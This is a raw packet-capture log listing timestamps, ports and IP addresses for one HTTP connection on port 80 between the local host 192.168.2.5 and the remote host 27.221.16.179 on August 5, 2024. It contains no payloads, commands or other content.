Aug 5, 2024 11:59:56.611905098 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.611920118 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.611954927 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.611987114 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.612006903 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.612024069 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.612030029 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.612059116 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.612092972 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.612126112 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.612145901 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.612159967 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.612174034 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.612200975 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.612237930 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.612291098 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.905335903 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.905400038 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.905436039 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.905488968 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.905503988 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.905524015 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.905560017 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.905590057 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.905612946 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.905647993 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.905668974 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.905703068 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.905755043 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.905760050 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.905791044 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.905843973 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.905849934 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.905879974 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.905894995 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.905915022 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.905950069 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.905966997 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.905985117 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.906019926 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.906069040 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.906069040 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.906145096 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.906177998 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.906196117 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.906217098 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.906219006 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.906286001 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.906321049 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.906336069 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.906354904 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.906388998 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.906402111 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.906424046 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.906466961 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.906519890 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.906521082 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.906555891 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.906605959 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.906606913 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.906641960 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.906652927 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.906698942 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.906752110 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.906761885 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.906785965 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.906824112 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.906841040 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.906860113 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.906896114 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.906928062 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.906949043 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.906963110 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.906970978 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.906996965 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.907032013 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.907064915 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.907080889 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.907100916 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.907110929 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.907135010 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.907170057 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.907186031 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.907223940 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.907263994 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.907277107 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.907310009 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.907344103 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.907358885 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.907396078 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.907430887 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.907445908 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.907464981 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.907499075 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.907533884 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.907546997 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.907568932 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.907601118 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.907618999 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.907634974 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.907645941 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.907670975 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.907706976 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.907728910 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.907741070 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.907774925 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.907783985 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.907809973 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.907845020 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.907877922 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.907890081 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.907912970 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.907948017 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.907955885 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.907983065 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.907994032 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.908035994 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.908071995 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.908090115 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.908123016 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.908159018 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.908194065 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.908206940 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.908237934 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.908291101 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.908294916 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.908327103 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.908343077 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.908360958 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.908396006 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.908411026 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.908430099 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.908464909 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.908473969 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.908516884 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.908551931 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.908567905 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.908585072 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.908618927 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.908632994 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.908653021 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.908689976 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.908704996 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.908730030 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.908799887 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.991764069 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.035718918 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:57.206139088 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.206176043 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.206212997 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.206244946 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.206258059 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:57.206279993 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.206315041 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.206350088 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.206383944 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:57.206383944 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.206393003 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:57.206423044 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.206437111 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:57.206459045 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.206492901 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.206506968 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:57.206526041 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.206559896 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.206593990 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.206607103 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:57.206628084 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.206661940 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.206679106 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:57.206697941 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.206713915 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:57.206733942 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.206768036 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.206789017 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:57.206800938 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.206835032 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.206850052 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:57.206871033 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.206907034 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.206923008 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:57.206942081 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.206976891 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.206996918 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:57.207010031 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.207043886 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.207057953 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:57.207077980 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.207113028 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.207124949 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:57.207148075 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.207186937 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.207192898 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:57.207223892 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.207259893 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.207274914 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:57.207293987 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.207334995 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.207350016 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:57.207369089 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.207402945 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.207421064 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:57.207436085 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.207469940 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.207485914 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:57.207503080 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.207536936 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.207571030 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.207571030 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:57.207611084 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.207645893 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.207662106 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:57.207681894 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.207695007 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:57.207716942 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.207752943 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.207766056 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:57.207788944 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.207823038 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.207835913 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:57.207859993 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.207894087 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.207926989 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.207932949 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:57.207962990 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.207998037 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.208000898 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:57.208034039 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.208069086 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.208071947 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:57.208144903 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:57.208144903 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.208205938 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.208254099 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:57.208257914 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.208293915 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.208329916 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.208338022 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:57.208383083 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.208417892 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.208437920 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:57.208452940 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.208506107 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.208508968 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:57.208556890 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.208590984 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.208609104 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:57.208630085 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.208662987 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.208672047 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:57.208698988 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.208736897 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.208750010 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:57.208772898 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.208806992 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.208820105 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:57.208842039 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.208877087 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.208893061 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:57.208913088 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.208945990 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.208961010 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:57.208980083 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.209028959 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:57.209048986 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.209132910 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.209168911 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.209183931 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:57.209264040 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.209315062 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:57.209316015 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.209351063 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.209383965 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.209403992 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:57.209419966 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.209453106 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.209472895 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:57.209489107 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.209522009 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.209536076 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:57.209558010 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.209602118 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.209625006 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:57.254501104 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:57.555320978 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.555404902 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.555459976 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.555464029 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:57.555516005 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.555568933 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:57.555572033 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.555607080 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.555643082 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.555660963 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:57.555679083 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.555716038 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.555748940 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.555749893 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:57.555785894 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.555790901 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:57.555819988 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.555854082 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.555865049 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:57.555906057 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.555941105 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.555955887 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:57.555975914 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.556020021 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:57.556027889 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.556065083 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.556101084 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.556113958 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:57.556152105 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.556185961 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.556195974 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:57.556221008 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.556272984 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.556276083 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:57.556309938 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.556343079 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.556361914 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:57.556387901 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.556421041 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.556437969 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:57.556456089 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.556507111 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:57.556529045 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.556582928 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.556633949 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:57.556637049 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.556675911 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.556710005 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.556725979 CEST	49764	80	192.168.2.5	27.221.16.179
